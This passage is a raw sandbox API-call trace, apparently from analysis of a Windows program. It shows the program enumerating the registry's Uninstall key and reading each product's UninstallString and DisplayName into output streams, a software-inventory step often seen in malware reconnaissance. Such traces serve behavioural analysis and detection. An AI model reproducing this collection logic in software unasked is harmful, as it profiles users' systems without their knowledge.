[0068.215] LocalFree (hMem=0x62b230) returned 0x0 [0068.218] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.218] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x63) returned 0x0 [0068.218] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x62b560 [0068.218] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62b560, lpcbData=0x12ef10*=0x63 | out: lpType=0x0, lpData=0x62b560*=0x22, lpcbData=0x12ef10*=0x63) returned 0x0 [0068.218] RegCloseKey (hKey=0x108) returned 0x0 [0068.218] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62b560*=0x22, cb=0x63, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x63) returned 0x0 [0068.218] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.218] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62b560 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3d) returned 0x0 [0068.218] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x62b230 [0068.218] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x62b230, lpcbData=0x12ef0c*=0x3d | out: lpType=0x0, lpData=0x62b230*=0x4d, lpcbData=0x12ef0c*=0x3d) returned 0x0 [0068.218] RegCloseKey (hKey=0x108) returned 0x0 [0068.218] lstrlenA (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0068.218] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.218] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x62b230*=0x4d, cb=0x3d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3d) returned 0x0 [0068.219] LocalFree (hMem=0x62b230) returned 0x0 [0068.219] LocalFree (hMem=0x62b560) returned 0x0 [0068.219] LocalFree (hMem=0x626e60) returned 0x0 [0068.219] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x18, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.219] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.219] lstrlenA (lpString="\\") returned 1 [0068.219] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.219] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.219] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.219] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.219] lstrlenA (lpString="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}") returned 38 [0068.219] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.219] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.219] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{444C5574-6BE0-323E-9BDD-922F6C3C4A04}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{444C5574-6BE0-323E-9BDD-922F6C3C4A04}" [0068.219] LocalFree (hMem=0x626e60) returned 0x0 [0068.219] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.219] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.219] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.219] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.219] RegCloseKey (hKey=0x108) returned 0x0 [0068.219] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.219] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.219] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.219] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x624f80 [0068.219] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x1d | out: lpType=0x0, lpData=0x624f80*=0x4d, lpcbData=0x12ef0c*=0x1d) returned 0x0 [0068.219] RegCloseKey (hKey=0x108) returned 0x0 [0068.220] lstrlenA (lpString="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}") returned 38 [0068.220] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.220] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x4d, cb=0x1d, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1d) returned 0x0 [0068.220] LocalFree (hMem=0x624f80) returned 0x0 [0068.220] LocalFree (hMem=0x626b70) returned 0x0 [0068.220] LocalFree (hMem=0x626a88) returned 0x0 [0068.220] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x19, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.220] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.220] lstrlenA (lpString="\\") returned 1 [0068.220] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.220] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.220] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.220] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.220] lstrlenA (lpString="{4A03706F-666A-4037-7777-5F2748764D10}") returned 38 [0068.220] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.220] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.220] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{4A03706F-666A-4037-7777-5F2748764D10}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}" [0068.220] LocalFree (hMem=0x626e60) returned 0x0 [0068.220] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.220] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.220] RegCloseKey (hKey=0x108) returned 0x0 [0068.220] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.220] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.220] RegCloseKey (hKey=0x108) returned 0x0 [0068.220] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.220] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.220] RegCloseKey (hKey=0x108) returned 0x0 [0068.220] LocalFree (hMem=0x626a88) returned 0x0 [0068.221] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1a, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{582EA838-9199-3518-A05C-DB09462F68EC}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.221] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.221] lstrlenA (lpString="\\") returned 1 [0068.221] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.221] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.221] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.221] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.221] lstrlenA (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 38 [0068.221] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.221] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.221] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}" [0068.221] LocalFree (hMem=0x626e60) returned 0x0 [0068.221] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.221] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.221] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.221] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.221] RegCloseKey (hKey=0x108) returned 0x0 [0068.221] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.221] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.221] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3c) returned 0x0 [0068.221] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x626e60 [0068.221] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3c | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3c) returned 0x0 [0068.221] RegCloseKey (hKey=0x108) returned 0x0 [0068.221] lstrlenA (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 38 [0068.221] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.222] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3c) returned 0x0 [0068.222] LocalFree (hMem=0x626e60) returned 0x0 [0068.222] LocalFree (hMem=0x626b70) returned 0x0 [0068.222] LocalFree (hMem=0x626a88) returned 0x0 [0068.222] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1b, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{68306422-7C57-373F-8860-D26CE4BA2A15}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.222] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.222] lstrlenA (lpString="\\") returned 1 [0068.222] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.222] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.222] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.222] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.222] lstrlenA (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 38 [0068.222] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.222] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.222] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}" [0068.222] LocalFree (hMem=0x626e60) returned 0x0 [0068.222] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.222] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.222] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.222] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.222] RegCloseKey (hKey=0x108) returned 0x0 [0068.222] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.222] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.222] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x3f) returned 0x0 [0068.222] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x626e60 [0068.222] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x3f | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x3f) returned 0x0 [0068.223] RegCloseKey (hKey=0x108) returned 0x0 [0068.223] lstrlenA (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 38 [0068.223] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.223] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x3f, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x3f) returned 0x0 [0068.223] LocalFree (hMem=0x626e60) returned 0x0 [0068.223] LocalFree (hMem=0x626b70) returned 0x0 [0068.223] LocalFree (hMem=0x626a88) returned 0x0 [0068.223] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1c, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.223] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.223] lstrlenA (lpString="\\") returned 1 [0068.223] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.223] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.223] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.223] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.223] lstrlenA (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0068.223] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.223] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.223] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" [0068.223] LocalFree (hMem=0x626e60) returned 0x0 [0068.223] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.223] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.223] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.223] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.223] RegCloseKey (hKey=0x108) returned 0x0 [0068.223] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.223] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.223] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.223] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x626e60 [0068.224] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2a | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.224] RegCloseKey (hKey=0x108) returned 0x0 [0068.224] lstrlenA (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0068.224] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.224] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2a) returned 0x0 [0068.224] LocalFree (hMem=0x626e60) returned 0x0 [0068.224] LocalFree (hMem=0x626b70) returned 0x0 [0068.224] LocalFree (hMem=0x626a88) returned 0x0 [0068.224] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1d, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0015-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.224] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.224] lstrlenA (lpString="\\") returned 1 [0068.224] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.224] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.224] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.224] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.224] lstrlenA 